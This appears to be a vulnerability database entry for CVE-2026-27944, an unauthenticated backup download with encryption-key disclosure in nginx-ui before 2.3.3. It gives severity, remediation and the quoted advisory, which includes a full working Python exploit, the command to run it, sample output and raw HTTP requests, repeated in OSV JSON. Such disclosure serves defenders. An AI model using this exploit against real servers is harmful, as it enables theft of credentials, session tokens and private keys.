CVE-2026-27944: Github.com/0xJacky/Nginx UI Nginx-UI Vulnerable To Unauthenticated Backup Vulnerability

CRITICAL
Advisory Identifier: GHSA-g9w5-qffc-6762
CVSS 9.8
CWE-311 CWE-306
Published
Advisory Summary

CVE-2026-27944 is a CRITICAL (CVSS 9.8) nginx-ui vulnerable to unauthenticated backup vulnerability (CWE-311: Missing Encryption of Sensitive Data) affecting Github.com/0xJacky/Nginx UI libraries in the Go ecosystem. The issue involves nginx-ui vulnerable to unauthenticated backup download with encryption key disclosure. Remediation is available by upgrading affected packages to version 2.3.3.

CVE-2026-27944 at a Glance

CVE Identifier CVE-2026-27944
GHSA Identifier GHSA-g9w5-qffc-6762
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-311: Missing Encryption of Sensitive Data
Affected Product Github.com/0xJacky/Nginx UI
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-27944

To remediate this vulnerability, upgrade all affected Github.com/0xJacky/Nginx UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/0xJacky/Nginx-UI fixed: 2.3.3
Upgrade github.com/0xJacky/Nginx-UI to 2.3.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/0xJacky/Nginx-UI

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-27944, inspect your project dependencies for Github.com/0xJacky/Nginx UI:

inspect dependencies for github.com/0xJacky/Nginx-UI

Analyze the terminal output to locate any version of Github.com/0xJacky/Nginx UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-311: Missing Encryption of Sensitive Data, where the product does not encrypt sensitive or critical information before storage or transmission. In Github.com/0xJacky/Nginx UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. ## Vulnerability Details | Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data | | Affected File | `api/backup/router.go` | | Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) | | Secondary File | `internal/backup/backup.go` | | CVSS 3.1 | 9.8 (Critical) | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | ## Root Cause The vulnerability exists due to two critical security flaws: ### 1. Missing Authentication on /api/backup Endpoint In `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware: ```go func InitRouter(r *gin.RouterGroup) { r.GET("/backup", CreateBackup) // No authentication required r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware } ``` For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open. ### 2. Encryption Keys Disclosed in HTTP Response Headers In `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header: ```go func CreateBackup(c *gin.Context) { result, err := backup.Backup() if err != nil { cosy.ErrHandler(c, err) return } // Concatenate Key and IV securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header // ... c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone // Send file content http.ServeContent(c.Writer, c.Request, fileName, modTime, reader) } ``` The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`. ### 3. Backup Contents The backup archive (created in `internal/backup/backup.go`) contains: ```go // Files included in backup: - nginx-ui.zip (encrypted) └── database.db // User credentials, session tokens └── app.ini // Configuration with secrets └── server.key/cert // SSL certificates - nginx.zip (encrypted) └── nginx.conf // Nginx configuration └── sites-enabled/* // Virtual host configs └── ssl/* // SSL private keys - hash_info.txt (encrypted) └── SHA-256 hashes for integrity verification ``` All files are encrypted with AES-256-CBC, but the keys are disclosed in the response. ## Proof of Concept ### Python script ```python #!/usr/bin/env python3 """ POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security Usage: python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt """ import argparse import base64 import os import sys import urllib.parse import urllib.request import zipfile from io import BytesIO try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpad except ImportError: print("Error: pycryptodome required for decryption") print("Install with: pip install pycryptodome") sys.exit(1) def _parse_keys(hdr_val: str): """ Parse X-Backup-Security header format: "base64_key:base64_iv" Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== """ v = (hdr_val or "").strip() # Format is: key:iv (both base64 encoded) if ":" in v: parts = v.split(":", 1) if len(parts) == 2: return parts[0].strip(), parts[1].strip() return None, None def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes: """Decrypt using AES-256-CBC with PKCS#7 padding""" key = base64.b64decode(key_b64) iv = base64.b64decode(iv_b64) if len(key) != 32: raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)") if len(iv) != 16: raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)") cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(encrypted_data) return unpad(decrypted, AES.block_size) def extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str): """Extract and decrypt the backup archive""" print(f"\n[*] Extracting encrypted backup to {output_dir}") os.makedirs(output_dir, exist_ok=True) # Extract the main ZIP (contains encrypted files) with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip: print(f"[*] Main archive contains: {main_zip.namelist()}") main_zip.extractall(output_dir) # Decrypt each file encrypted_files = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"] for filename in encrypted_files: filepath = os.path.join(output_dir, filename) if not os.path.exists(filepath): print(f"[!] Warning: {filename} not found") continue print(f"[*] Decrypting {filename}...") with open(filepath, "rb") as f: encrypted = f.read() try: decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64) # Write decrypted file decrypted_path = filepath.replace(".zip", "_decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted" with open(decrypted_path, "wb") as f: f.write(decrypted) print(f" → Saved to {decrypted_path} ({len(decrypted)} bytes)") # If it's a ZIP, extract it if filename.endswith(".zip"): extract_dir = os.path.join(output_dir, filename.replace(".zip", "")) os.makedirs(extract_dir, exist_ok=True) with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip: inner_zip.extractall(extract_dir) print(f" → Extracted {len(inner_zip.namelist())} files to {extract_dir}") except Exception as e: print(f" ✗ Failed to decrypt {filename}: {e}") # Show hash info hash_info_path = os.path.join(output_dir, "hash_info.txt.decrypted") if os.path.exists(hash_info_path): print(f"\n[*] Hash info:") with open(hash_info_path, "r") as f: print(f.read()) def main(): ap = argparse.ArgumentParser( description="Nginx UI - Unauthenticated backup download with key disclosure" ) ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port") ap.add_argument("--out", default="backup.bin", help="Where to save the encrypted backup") ap.add_argument("--decrypt", action="store_true", help="Decrypt the backup after download") ap.add_argument("--extract-dir", default="backup_extracted", help="Directory to extract decrypted files") args = ap.parse_args() url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup") # Unauthenticated request to the backup endpoint req = urllib.request.Request(url, method="GET") try: with urllib.request.urlopen(req, timeout=20) as resp: hdr = resp.headers.get("X-Backup-Security", "") key, iv = _parse_keys(hdr) data = resp.read() except urllib.error.HTTPError as e: print(f"[!] HTTP Error {e.code}: {e.reason}") sys.exit(1) except Exception as e: print(f"[!] Error: {e}") sys.exit(1) with open(args.out, "wb") as f: f.write(data) # Key/IV disclosure in response header enables decryption of the downloaded backup print(f"\nX-Backup-Security: {hdr}") print(f"Parsed AES-256 key: {key}") print(f"Parsed AES IV : {iv}") if key and iv: # Verify key/IV lengths try: key_bytes = base64.b64decode(key) iv_bytes = base64.b64decode(iv) print(f"\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)") print(f"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)") except Exception as e: print(f"[!] Error decoding keys: {e}") sys.exit(1) if args.decrypt: try: extract_backup(args.out, key, iv, args.extract_dir) except Exception as e: print(f"\n[!] Decryption failed: {e}") import traceback traceback.print_exc() sys.exit(1) else: print("\n[!] Failed to parse encryption keys from X-Backup-Security header") print(f" Header value: {hdr}") if __name__ == "__main__": main() ``` ```bash # Download and decrypt backup (no authentication required) # pip install pycryptodome python poc.py --target http://victim:9000 --decrypt ``` ``` X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw== Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA= Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw== [*] Key length: 32 bytes (AES-256 ✓) [*] IV length : 16 bytes (AES block size ✓) [*] Extracting encrypted backup to backup_extracted [*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip'] [*] Decrypting hash_info.txt... → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes) [*] Decrypting nginx-ui.zip... → Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes) → Extracted 2 files to backup_extracted/nginx-ui [*] Decrypting nginx.zip... → Saved to backup_extracted/nginx_decrypted.zip (5682 bytes) → Extracted 17 files to backup_extracted/nginx [*] Hash info: nginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5 nginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905 timestamp: 20260129-122110 version: 2.3.2 ``` ### HTTP Request (Raw) ```http GET /api/backup HTTP/1.1 Host: victim:9000 ``` **No authentication required** - this request will succeed and return: - Encrypted backup as ZIP file - Encryption keys in `X-Backup-Security` header ### Example Response ```http HTTP/1.1 200 OK Content-Type: application/zip Content-Disposition: attachment; filename=backup-20260129-120000.zip X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== [Binary ZIP data] ``` The `X-Backup-Security` header contains: - **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key) - **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV) <img width="1430" height="835" alt="screenshot" src="https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17" /> ## Resources - [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html) - [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication) - [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure) - [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)

CVE-2026-27944 Affected Github.com/0xJacky/Nginx UI Versions

1 component(s)
Fixed Versions:
2.3.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/0xJacky/Nginx-UI
Go
< 2.3.3
2.3.3

References

Frequently Asked Questions

What is CVE-2026-27944?
CVE-2026-27944 is a security vulnerability in Github.com/0xJacky/Nginx UI involving Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure under CWE-311: Missing Encryption of Sensitive Data.
Which Github.com/0xJacky/Nginx UI versions are affected?
Affected versions include releases prior to 2.3.3 across affected packages: github.com/0xJacky/Nginx-UI.
What version fixes CVE-2026-27944?
Upgrading to 2.3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/0xJacky/Nginx-UI affected?
Yes, github.com/0xJacky/Nginx-UI is affected in releases prior to 2.3.3. Upgrade your dependency to 2.3.3 or later.
What is the CVSS score of CVE-2026-27944?
CVE-2026-27944 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-27944?
CVE-2026-27944 is classified under CWE-311: Missing Encryption of Sensitive Data (The product does not encrypt sensitive or critical information before storage or transmission.).
How can I check Go dependencies for CVE-2026-27944?
Run the dependency tree command: 'inspect dependencies for github.com/0xJacky/Nginx-UI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g9w5-qffc-6762",
  "modified" : "2026-03-05T22:37:19Z",
  "published" : "2026-03-05T18:26:41Z",
  "aliases" : [ "CVE-2026-27944" ],
  "summary" : "Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure",
  "details" : "## Summary\n\nThe `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |\n| Affected File | `api/backup/router.go` |\n| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |\n| Secondary File | `internal/backup/backup.go` |\n| CVSS 3.1 | 9.8 (Critical) |\n| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |\n\n## Root Cause\n\nThe vulnerability exists due to two critical security flaws:\n\n### 1. Missing Authentication on /api/backup Endpoint\n\nIn `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:\n\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\tr.GET(\"/backup\", CreateBackup)  // No authentication required\n\tr.POST(\"/restore\", middleware.EncryptedForm(), RestoreBackup)  // Has middleware\n}\n```\n\nFor comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.\n\n### 2. Encryption Keys Disclosed in HTTP Response Headers\n\nIn `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:\n\n```go\nfunc CreateBackup(c *gin.Context) {\n\tresult, err := backup.Backup()\n\tif err != nil {\n\t\tcosy.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\t// Concatenate Key and IV\n\tsecurityToken := result.AESKey + \":\" + result.AESIv  // Keys sent in header\n\n\t// ...\n\tc.Header(\"X-Backup-Security\", securityToken) // Keys exposed to anyone\n\n\t// Send file content\n\thttp.ServeContent(c.Writer, c.Request, fileName, modTime, reader)\n}\n```\n\nThe encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.\n\n### 3. Backup Contents\n\nThe backup archive (created in `internal/backup/backup.go`) contains:\n\n```go\n// Files included in backup:\n- nginx-ui.zip (encrypted)\n  └── database.db          // User credentials, session tokens\n  └── app.ini              // Configuration with secrets\n  └── server.key/cert      // SSL certificates\n\n- nginx.zip (encrypted)\n  └── nginx.conf           // Nginx configuration\n  └── sites-enabled/*      // Virtual host configs\n  └── ssl/*                // SSL private keys\n\n- hash_info.txt (encrypted)\n  └── SHA-256 hashes for integrity verification\n```\n\nAll files are encrypted with AES-256-CBC, but the keys are disclosed in the response.\n\n## Proof of Concept\n\n### Python script\n\n```python\n#!/usr/bin/env python3\n\n\"\"\"\nPOC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security\n\nUsage:\n  python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\nfrom io import BytesIO\n\ntry:\n    from Crypto.Cipher import AES\n    from Crypto.Util.Padding import unpad\nexcept ImportError:\n    print(\"Error: pycryptodome required for decryption\")\n    print(\"Install with: pip install pycryptodome\")\n    sys.exit(1)\n\n\ndef _parse_keys(hdr_val: str):\n    \"\"\"\n    Parse X-Backup-Security header format: \"base64_key:base64_iv\"\n    Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n    \"\"\"\n    v = (hdr_val or \"\").strip()\n\n    # Format is: key:iv (both base64 encoded)\n    if \":\" in v:\n        parts = v.split(\":\", 1)\n        if len(parts) == 2:\n            return parts[0].strip(), parts[1].strip()\n\n    return None, None\n\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:\n    \"\"\"Decrypt using AES-256-CBC with PKCS#7 padding\"\"\"\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n\n    if len(key) != 32:\n        raise ValueError(f\"Invalid key length: {len(key)} (expected 32 bytes for AES-256)\")\n    if len(iv) != 16:\n        raise ValueError(f\"Invalid IV length: {len(iv)} (expected 16 bytes)\")\n\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\n\ndef extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):\n    \"\"\"Extract and decrypt the backup archive\"\"\"\n    print(f\"\\n[*] Extracting encrypted backup to {output_dir}\")\n\n    os.makedirs(output_dir, exist_ok=True)\n\n    # Extract the main ZIP (contains encrypted files)\n    with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:\n        print(f\"[*] Main archive contains: {main_zip.namelist()}\")\n        main_zip.extractall(output_dir)\n\n    # Decrypt each file\n    encrypted_files = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n\n    for filename in encrypted_files:\n        filepath = os.path.join(output_dir, filename)\n        if not os.path.exists(filepath):\n            print(f\"[!] Warning: {filename} not found\")\n            continue\n\n        print(f\"[*] Decrypting {filename}...\")\n\n        with open(filepath, \"rb\") as f:\n            encrypted = f.read()\n\n        try:\n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n\n            # Write decrypted file\n            decrypted_path = filepath.replace(\".zip\", \"_decrypted.zip\") if filename.endswith(\".zip\") else filepath + \".decrypted\"\n            with open(decrypted_path, \"wb\") as f:\n                f.write(decrypted)\n\n            print(f\"    → Saved to {decrypted_path} ({len(decrypted)} bytes)\")\n\n            # If it's a ZIP, extract it\n            if filename.endswith(\".zip\"):\n                extract_dir = os.path.join(output_dir, filename.replace(\".zip\", \"\"))\n                os.makedirs(extract_dir, exist_ok=True)\n                with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:\n                    inner_zip.extractall(extract_dir)\n                    print(f\"    → Extracted {len(inner_zip.namelist())} files to {extract_dir}\")\n\n        except Exception as e:\n            print(f\"    ✗ Failed to decrypt {filename}: {e}\")\n\n    # Show hash info\n    hash_info_path = os.path.join(output_dir, \"hash_info.txt.decrypted\")\n    if os.path.exists(hash_info_path):\n        print(f\"\\n[*] Hash info:\")\n        with open(hash_info_path, \"r\") as f:\n            print(f.read())\n\ndef main():\n    ap = argparse.ArgumentParser(\n        description=\"Nginx UI - Unauthenticated backup download with key disclosure\"\n    )\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n    ap.add_argument(\"--out\", default=\"backup.bin\", help=\"Where to save the encrypted backup\")\n    ap.add_argument(\"--decrypt\", action=\"store_true\", help=\"Decrypt the backup after download\")\n    ap.add_argument(\"--extract-dir\", default=\"backup_extracted\", help=\"Directory to extract decrypted files\")\n\n    args = ap.parse_args()\n\n    url = urllib.parse.urljoin(args.target.rstrip(\"/\") + \"/\", \"api/backup\")\n\n    # Unauthenticated request to the backup endpoint\n    req = urllib.request.Request(url, method=\"GET\")\n\n    try:\n        with urllib.request.urlopen(req, timeout=20) as resp:\n            hdr = resp.headers.get(\"X-Backup-Security\", \"\")\n            key, iv = _parse_keys(hdr)\n            data = resp.read()\n    except urllib.error.HTTPError as e:\n        print(f\"[!] HTTP Error {e.code}: {e.reason}\")\n        sys.exit(1)\n    except Exception as e:\n        print(f\"[!] Error: {e}\")\n        sys.exit(1)\n\n    with open(args.out, \"wb\") as f:\n        f.write(data)\n\n    # Key/IV disclosure in response header enables decryption of the downloaded backup\n    print(f\"\\nX-Backup-Security: {hdr}\")\n    print(f\"Parsed AES-256 key: {key}\")\n    print(f\"Parsed AES IV    : {iv}\")\n\n    if key and iv:\n        # Verify key/IV lengths\n        try:\n            key_bytes = base64.b64decode(key)\n            iv_bytes = base64.b64decode(iv)\n            print(f\"\\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)\")\n            print(f\"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)\")\n        except Exception as e:\n            print(f\"[!] Error decoding keys: {e}\")\n            sys.exit(1)\n\n        if args.decrypt:\n            try:\n                extract_backup(args.out, key, iv, args.extract_dir)\n\n            except Exception as e:\n                print(f\"\\n[!] Decryption failed: {e}\")\n                import traceback\n                traceback.print_exc()\n                sys.exit(1)\n    else:\n        print(\"\\n[!] Failed to parse encryption keys from X-Backup-Security header\")\n        print(f\"    Header value: {hdr}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n```bash\n# Download and decrypt backup (no authentication required)\n# pip install pycryptodome\npython poc.py --target http://victim:9000 --decrypt\n```\n\n```\nX-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==\nParsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=\nParsed AES IV    : +rLZrXK3kbWFRK3qMpB3jw==\n\n[*] Key length: 32 bytes (AES-256 ✓)\n[*] IV length : 16 bytes (AES block size ✓)\n\n[*] Extracting encrypted backup to backup_extracted\n[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']\n[*] Decrypting hash_info.txt...\n    → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)\n[*] Decrypting nginx-ui.zip...\n    → Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)\n    → Extracted 2 files to backup_extracted/nginx-ui\n[*] Decrypting nginx.zip...\n    → Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)\n    → Extracted 17 files to backup_extracted/nginx\n\n[*] Hash info:\nnginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5\nnginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905\ntimestamp: 20260129-122110\nversion: 2.3.2\n```\n\n### HTTP Request (Raw)\n\n```http\nGET /api/backup HTTP/1.1\nHost: victim:9000\n\n```\n\n**No authentication required** - this request will succeed and return:\n- Encrypted backup as ZIP file\n- Encryption keys in `X-Backup-Security` header\n\n### Example Response\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/zip\nContent-Disposition: attachment; filename=backup-20260129-120000.zip\nX-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n\n[Binary ZIP data]\n```\n\nThe `X-Backup-Security` header contains:\n- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)\n- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)\n\n<img width=\"1430\" height=\"835\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17\" />\n\n## Resources\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)\n- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)\n- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/0xJacky/Nginx-UI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
  }, {
    "type" : "WEB",
    "url" : "https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/0xJacky/nginx-ui"
  }, {
    "type" : "WEB",
    "url" : "https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication"
  }, {
    "type" : "WEB",
    "url" : "https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-311" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-05T18:26:41Z",
    "nvd_published_at" : "2026-03-05T19:16:05Z"
  }
}